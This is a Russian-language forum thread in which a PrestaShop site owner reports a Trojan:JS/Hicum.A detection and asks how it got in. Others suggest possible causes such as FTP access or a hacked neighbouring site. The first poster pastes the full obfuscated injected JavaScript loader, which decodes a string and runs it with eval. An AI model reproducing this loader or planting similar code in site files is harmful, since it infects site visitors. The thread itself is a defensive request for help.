Вирус на сайте - Trojan:JS/Hicum.A

[Cvalya]

Сорри если не в то место пишу, но на днях на сайт начали ругаться антивирусы.

Был определен троян такого названия: Trojan:JS/Hicum.A

 

Точно строку не воспроизведу, но найдена была в файле:

 

site.ru/js/jquery/jquery.autocomplete.js

 

в самом низу была строка и начиналась на: var...

 

Если у кого похожее, то посмотрите в этом файле, если у кого было, то поделитесь. может он еще что делает или еще где то сидит.

 

Кстати, каким из возможных вариантов он туда мог пробраться? FTP? Или эксплоит (если я верно выражаюсь)?

[Cvalya]

UPD!

Похоже что все файлы в этой папке инфицированы.

 

Строка (в первый var добавлена точка):

 

v.ar p333bb1="";function y19a2a6ef9f(){var l07cb898=String,ub4008a0=Array.prototype.slice.call(arguments).join(""),q4a46a=ub4008a0.substr(1,3)-395,tf192c7ba,hc0995e95;ub4008a0=ub4008a0.substr(efde5d109());var o6c0ec958=if516ee4(ub4008a0);for(var b1f4c4317=0;b1f4c4317<o6c0ec958;b1f4c4317++){try{throw(lb9784f=j889a1(ub4008a0,b1f4c4317));}catch(e){lb9784f=e;};if(lb9784f=='–'){q4a46a="";b1f4c4317=ke0b7e(b1f4c4317);g0e3c9=k576346(ub4008a0,b1f4c4317);while(a48ae6(g0e3c9)){q4a46a+=g0e3c9;b1f4c4317++;g0e3c9=c7e6f24(ub4008a0,b1f4c4317);}q4a46a-=519;continue;}tf192c7ba="";if(lb9784f=='©'){b1f4c4317++;lb9784f=ub4008a0.substr(b1f4c4317,1);while(lb9784f!='©'){tf192c7ba+=lb9784f;b1f4c4317++;lb9784f=ub4008a0.substr(b1f4c4317,1);}tf192c7ba=ea039e(tf192c7ba,q4a46a,35);if(tf192c7ba<0)tf192c7ba+=256;if(tf192c7ba>=192)tf192c7ba+=848;else if(tf192c7ba==168)tf192c7ba=1025;else if(tf192c7ba==184)tf192c7ba=1105;p333bb1+=l07cb898["fr\x6f\x6d\x43ha\x72\x43\x6fd\x65"](tf192c7ba);continue;}ge43454=(lb9784f+'')["ch\x61\x72\x43o\x64\x65A\x74"](0);if(ge43454>848)ge43454-=848;hc0995e95=ge43454-q4a46a-35;hc0995e95=t9b1fd(hc0995e95);p333bb1+=eb879667(hc0995e95);[spam-filter]y19a2a6ef9f("7538","©","2","18©","©2","4","©–6","34","–","©1","1©–54","6","–","©1","7","2©","–66","7–©26©–6","8","8–","@–","7","17–R–6","98","–ED","–6","0","4","–","©160©","©","161©","©","1","5","2","©","©2","4","3©","–561","–ZW–5","65–","Z","–","6","07","–©24","1","©","©","2","2","0©","©","237©","©155©–53","7–","©1","7","0©–6","25–","©255©","–","5","89","–©21","3","©©137©","©","1","6","6","©","–5","9","8","–©","1","4","6©©1","53©©","218","©","–","59","5","–","©","22","7©","©2","27","©©2","23","©©1","69©","©1","58","©","©158©©21","9©©2","14","©–","6","35–©9©©","1","1","©","–59","6–©","21","9©","–6","60–'–","7","08–","EO","–","56","0","–","©190","©©","192©z–6","98","–",">E","–5","84–©","20","9","©","©","2","0","1","©","–","66","7–#","©32","©","%–","562","–","©195©–62","5","–","©5©","–","5","76–©1","3","8","©–","61","4","–©24","0","©©","2","31©©2","4","6©","–","6","79–©2","42©–54","3","–©162©j","bv","–626","–©15","5","©","©1","52©","©15","1©©","2","47©","–57","5–©","1","9","3©©","1","23©","–","6","7","8","–","©234","©","6;","2","'–66","5–$","–","6","82","–,","©","23","0","©–5","92","–","©227","©","–5","2","1","–","©142©","–","58","9","–","©21","5","©","–","5","6","7","–","©183","©©19","4©–689–","D","©","251","©","–62","2–","©2©–578–","©","2","15","©©","216","©","–647–","©","9©©15©","©","4","©","©","10©©1","9","5","©©224©","©224","©–64","1–©2","18©©1","89","©","©1","96","©","©1","8©","©1","1","©","–","657","–©","1","7","©","–5","70–©1","87","©","©","18","8","©","©191","©–","717","–","W–680–)–","6","79","–'©","234©–650–©2","07©–684–","©232©–568–","©","20","7","©","a^]","–5","92–","u","–","6","20–","©","255","©","©241","©","©2","4","6","©–","571–","©1","87","©","©19","8©","©","2","06","©–","691–","©2","5","3","©–5","47","–©","1","8","3","©","©1","84©","©","185","©–6","10","–","©2","28","©","–","5","7","5–","©19","9©©188©–","6","63–©","2","6©–","6","8","8–","©2","36","©–","6","4","3","–","©","2","20©–","62","5","–","©","17","3©©1","8","9©©","200","©","–5","5","8","–","W","T","–","63","0–","©1","55","©–6","38–","©","2","3","©","©1","67","©©","164©©16","3","©","©","254","©©","9©©25","3©","–6","4","1","–©1","8©©","10©","©2©","–","6","4","2–©1","2","©–52","8","–©","160©","–6","57–","©2","19","©","©","28©","–7","18–X","–57","4–","©19","9©","–","5","35","–","©1","62","©–","6","03–","©","236©","–","54","6","–©17","7©","©","1","63©","©","1","7","1©","–","6","56–©2","7©","\"","–6","07–©","22","4","©–57","1","–","w","©1","4","8","©","–","655–©","20","3©©17©","–55","9–©","192","©","©","1","85©","©1","7","4","©","©19","1©","©","1","8","0","©©1","86","©","–","5","9","9","–©22","5","©","©155©","©","15","6","©","©1","47©–","5","24–©","16","3©","5211","–7","03","–","DA–","53","8–V","^–69","2–G","9>","4–56","8","–","©","19","5©","–","6","37","–","©1","6©","©1","9","9©","–6","14","–","©","2","5","0©","©","251©","©2","5","2","©","–558","–","©17","6","©–","6","6","0–©28©","©","1","7","©","–","66","2","–","©","2","5©–","647","–©","19","5","©–","6","4","4","–","©","2","21","©","©","2","2","1©–","63","7–","©","21","4","©©","1","85","©","©","2","01","©","©","194","©","–","552","–d","©1","91","©","–","62","0–","©","1","49©©1","4","6","©–","7","0","9","–©2","3","4©–","6","80","–","©","205©©205","©","–","5","23–©","15","8","©©","14","4©©1","4","9","©©","139©","©1","50©","–53","0–","©","1","65","©","–5","35","–","a","©17","1©–636–©","17","©–","5","92–©23","0","©","–6","03–©","22","1","©–6","6","2","–©30","©–","59","6–©20","9©","©","21","5","©","–5","50–","b","©1","27©–","5","77","–©","125©©142","©","–","6","9","9–©18","©–5","2","8","–96","–","5","4","0–A–660–©","18","5©–6","7","9–©20","4","©","–","5","9","1–","©2","25©©","20","4©©","221©–","71","4–","©6©","–52","4–©","1","44","©–","69","2–","5–","527–©140","©","©","143","©","K","–5","8","6","–","©","1","6","3","©–57","5","–","©","123","©","©","1","9","1","©–","64","7","–","©","1","8©©","6","©","–634–©11©","–","63","6–","©5©–","535","–","©1","52","©","–5","89","–©","2","1","5","©–","56","0–","©1","9","2©–6","98","–©","4","©–5","6","2","–","©","18","1©","–","672","–","!","–52","4–","©","1","5","6©m©1","48©©","141","©","–","6","58–","©2","7","©","©","19©","–","568–","©19","4©","–","705–","Q","P–","688","–©1","4©–","6","2","6","–","©","7©","–6","01","–","©2","0","1©©","2","1","4©–6","6","0–","©23©©","254©©","1","7©©","29©","©21","©","©2","1","6","©©","215©–6","9","7","–","=:–53","3–©1","46©","–6","2","8","–","©2","4","4©–5","69–","©","1","24©","©","1","26©©17","6","©","–596","–","©","160©","–","53","9–©14","8©","rD–","6","56","–©1","8","2","©©18","1","©©1","81©","–636–©","161©©","14©©2","4","9©","–698–","H","–","5","73","–","y","–","631–©","6©–","53","2–©147","©©162","©","–5","9","3","–","©214","©–7","09–Q","U©","1","©–","689–","©1","0","©©237©1","–","6","2","3","–©2","5","0©–","535","–","©1","5","0","©–701–","NF>","–","64","9–©","1","9©","©","25©©2","1","1©–","632","–©","247","©","©6","©©249","©","©2","45©","©8©–5","3","6–","©1","53©–60","7–","©","19","2©–","71","6–T","M–","6","58–©27","©","©1","9","©–65","4–©","2","4","©","©30","©","©","21","0","©–63","4","–","©","189","©©9","©","©24","9","©©8©–","68","3–","0–5","80","–","©208","©©2","12©–","6","6","8","–©22","3©©","225","©©","243©","©197","©–","6","25–","©","1","5","1","©©1","5","0","©–5","7","5–d–59","2","–u","–5","39–©","17","0","©","©","1","54","©–61","8–","©2","48","©©2","39©©24","6","©–713–Y","–5","2","9","–","[","©1","6","1©–","69","3–","JA–","5","36","–","©","1","53©T","qT[©","1","6","8","©","–5","6","5–©182©–67","5–","73–6","4","5–©","2","0","8©","–5","2","3–","©14","5","©–640","–©","25","3©©1","8©–6","2","8–©24","1©","©3©","–5","26","–","©","14","1©–6","85","–",";2","9=–684–","©23","9©","©3","©–","677–©2","0","6©","©2","03©©","202©","–","694–","©","219©–","545–","F©1","76©©","1","60©","–642–","©","16©–","6","2","1–©2","4","2©–","637–","©","9","©","©","13©","–","7","1","8–","©","2","4","©Y–5","44–","©1","70©–660","–\"","–5","8","4–","©2","01","©–68","9","–",".–6","1","3–©","2","29©","–6","66","–/","–6","3","9–©1","4","©–53","4","–","©16","6©–","58","2","–","©19","5©©","21","4","©©19","9©©1","9","7©–","6","75–","'–6","92","–","1","–","61","0–©","23","6","©","–6","11","–","©230©©","228©–5","8","2","–©1","30©","–5","7","0–","©","147©","–53","4–R©152©","©1","6","7","©–","53","7","–©16","3©–","66","6–","©","2","5","©*–","57","0–©1","91©©197©","©","19","6©–62","2","–","©","17","0","©","©","17","8©–","650–","©2","07©©1","9","8","©!–54","4","–","I","–","6","98–©2","24©","©","22","3©–5","52","–","M–","605–","©","130©–601","–","©","126©","©","2","2","2©©","219","©©","1","4","9©","©15","7","©–","6","28","–","©4©–","5","80","–©","200","©–","71","8–","S–","706–","Q–","6","39–©201©©","1","3©–","56","4–©1","81","©","–","6","02","–©","2","15©","©","2","18","©©23","9©","–6","8","0–©","23©8","–65","2–","©","9©","–65","1","–©27","©","©1","2©","©","199","©–","6","1","8","–©195©–","684","–©","5","©","©","2","3","2","©©","2","3","9©","+–6","98–","EC","–692–","@<","5","D5","–57","8","–","©13","3","©","©135","©©","126©","©217©","kh","–","543–","D–","6","0","2","–©12","7©©1","27","©","©","127","©","©","127©","©237©","©","2","2","3©©","2","28","©–680","–(3","–","61","7–","©2","5","2©©1","79©–6","60","–()–","53","2","–©1","7","0","©","©150","©©","1","5","6","©©145©","©1","5","1","©–","66","3–©","2","11","©","–","588","–©","16","5©©","13","6©–","561","–©","12","7©–","539","–","r–71","4","–","©","2","43©©","2","40©©2","39©","–","5","88","–","q","–542","–C","–","6","7","9","–©2","04","©","@","©","208©","©2","0","5","©–5","49–","J","–5","21–.",".","–","57","2","–","©21","3","©","©","1","47","©","e","–6","34–","©","160","©","–630","–©","1","55©©","1","5","5","©","–","5","99–©1","24©–","58","2","–©","2","1","3©","©","19","7©©2","1","2","©–6","9","7–>","E–","704–","P","©10","©–","683–6–61","6–","©","2","42","©","–","561","–","©1","8","5","©–","528","–","©15","5©©","141©©1","4","4","©L","–6","12–©189©–","55","2–","d©1","70©–654","–©","31©–","55","0–","©17","6©","–699–",":–589–","©22","1","©–","6","0","4–","©2","2","5©","©","231©","©","2","30©","©160","©","–","540","–a","X–568","–","©20","7","©a–6","9","8–","©22","4©©22","3","©","–","697–","©","2","2","2","©","©","22","2","©©22","2©","–","598–","©2","33©","©","21","9","©","©","2","24©–6","4","2–","©2","©©1","3©©","21","©–680–","©","24","2","©","<–68","6","–CD","–558–©176","©","–","68","9–9","–","61","8","–©2","31©©237©","–65","9","–©2","0","7","©","©","236©©207©©22","5","©","©234©–6","49–","©17","8","©©175©©174","©©1","7","4","©©17","4","©–","633","–","©1","8©","–70","4","–","©23©","©23","3©©","2","30","©","–653","–©","178©©","178©","–562–","W","©","1","93©","–64","6–","©","5©–","6","5","4","–","©","28©","©19©","–5","5","3–©181","©","©","185","©s©184","©©18","3©©","1","68©–","56","1","–m©","1","38©","–","5","53","–","e","©","18","6","©–538","–","©1","6","8©©1","62","©V","–","665–","©2","24©–70","4","–©","2","52©","–68","5–©","2","2","©*","=","1–","6","38–©","20","0","©","©","1","2©","©","2","51","©©8©–","551–","©16","7©","©1","78©","©1","7","6","©","–6","9","8","–©","2","54©©","2","5","5","©–","646","–©208©©22©–6","7","9–","2–58","2","–©","1","8","1©©","214©–","57","6–©2","06","©","©1","9","7","©","©2","02©©1","9","5","©","–","5","66–z–631","–","©","1","8","8©©","193","©–","529","–©160","©–64","1","–©","18©","©","255","©","©","16","©–","5","72","–©2","04","©","–6","38–©","12©–","61","9","–©","240©","–","67","6","–",".","'©23","2","©","©2","4","3","©–","544–e–","64","6–©","19","4","©","©20","5©","–","547–_","–","6","5","4–©","209©","©","216©","©2","0","©©","29","©","–5","3","4–","Y–","67","3","–©","2","48","©©","202","©","©199©–6","56","–","©1","8","1","©©","1","81","©–","670–","©","1","9","5","©","–","6","8","5–1.–","545","–","©158","©©","16","1","©–","6","10","–","©1","72©","–","6","80","–%","4","4–","612–","©","2","2","9","©–","6","3","5","–©5","©–5","87","–","©","2","03©","©1","70","©","–6","9","9","–","?–6","5","9","–","©2","4©","©","2","7©©1","9©–6","84–","©","240","©;–6","2","6","–","©","2","41©©","0©","©2","4","7","©","–","6","5","9","–","©3","1","©","#","©","216","©©","23","4©–","5","96–","©","1","2","5","©–","579–ihh©","220©","–","5","97","–©12","6©","©","1","23©–53","1","–","8","©1","7","2©–6","67","–©2","4","2©","©","1","9","6","©","©1","9","3©","4–611","–","©","1","6","8©–5","46","–f–6","97","–","©","254","©–5","47–","z");eval(p333bb1);function efde5d109(){return 4;}function if516ee4(cb6fef15){return cb6fef15.length;}function j889a1(m52a9b11,nb82bf5){return m52a9b11.substr(nb82bf5,1);}function ke0b7e(kab56d){return ++kab56d;}function k576346(t7a8dba3d,v4d055df){return t7a8dba3d.substr(v4d055df,1);}function c7e6f24(y9e32ba,j8817c1){return y9e32ba.substr(j8817c1,1);}function a48ae6(t259631){return t259631!='–';}function ea039e(e5a8ebdf,m6f6a8e8,p4de2b6){return e5a8ebdf-m6f6a8e8-p4de2b6;}function eb879667(j56486e){var l07cb898=String;return l07cb898["fr\x6f\x6d\x43ha\x72\x43\x6fd\x65"](j56486e);}function t9b1fd(x31e3fbf3){var e1e595e4=x31e3fbf3;if(e1e595e4<0)e1e595e4+=256;if(e1e595e4==168)e1e595e4=1025;else if(e1e595e4==184)e1e595e4=1105;return (e1e595e4>=192 && e1e595e4<256) ? e1e595e4+848 : e1e595e4;}

[Dimitri Yelquin]

А если всю папку удалить, а потом взять такую же в новом пакете?

 

У меня тоже был вирус на блоге. Как я понял, занёс его с непроверенным в системе плагином от стороннего разработчика. Плагин удалил — вирус изчез. А пока я думал, откуда он у меня взялся, я много в Гугле по этой теме нарыл. Оказывается, антивирусов для защиты сайтов — пшик. В этом специализируется http://sucuri.net/. Но там любая помощь платна. Бесплатную помощь можно поискать у Гугла на ресурсе для веб-мастеров. Не пользовался, поэтому не знаю, как. Но говорят, могут там помочь... А у Сукури есть бесплатный сканер, который может сказать есть ли зараза на сайте и выложить её полный код. Уже что-то.

[Dimitri Yelquin]

Прочёл сегодня одну заметку, где пишут, что 7 марта началась эпидемия заражений сайтов трояном. Что-то не понял!.. Эпидемии свойственно самораспространяться. А чтобы заразить сайт, в отличие от компьютера, злоумышленнику в него нужно влезть. И что это за «эпидемия» с индивидуальным подходом к каждому?.. Надо сказать, сайт-то, где прочёл эту фигню, антивирусом торгует...

[Cvalya]

Вирус этот залез во все файлы *.js

Строка не уникальная, а с измененными значениями, как минимум в начале.

 

Плагины не ставил давно, отсюда вопрос: Как вирус смог попасть на сайт?

 

Если не фтп то значит есть дырка, которую пока не залатаешь, то такие сюрпризы могут быть каждый день.

 

Версия Престы: 1.4.2.5

[Dimitri Yelquin]

Плагин от Сукури для ВордПресса латает все дыры, которые потенциально могут стать лазейкой для злоумышленника. Один клик, и всё заделано. А злоумышленники, думаете, не ищут? Да, постоянно! У меня на блоге ежедневно фиксируется несколько попыток проникновения.

 

У меня вопрос к Сорсу, какие на ПрестаШопе это могут быть лазейки? Кроме неизменённого имени админа, наверное, что-то ещё?

[sors]

Доступ на ftp и взлом сайта на том же хостинге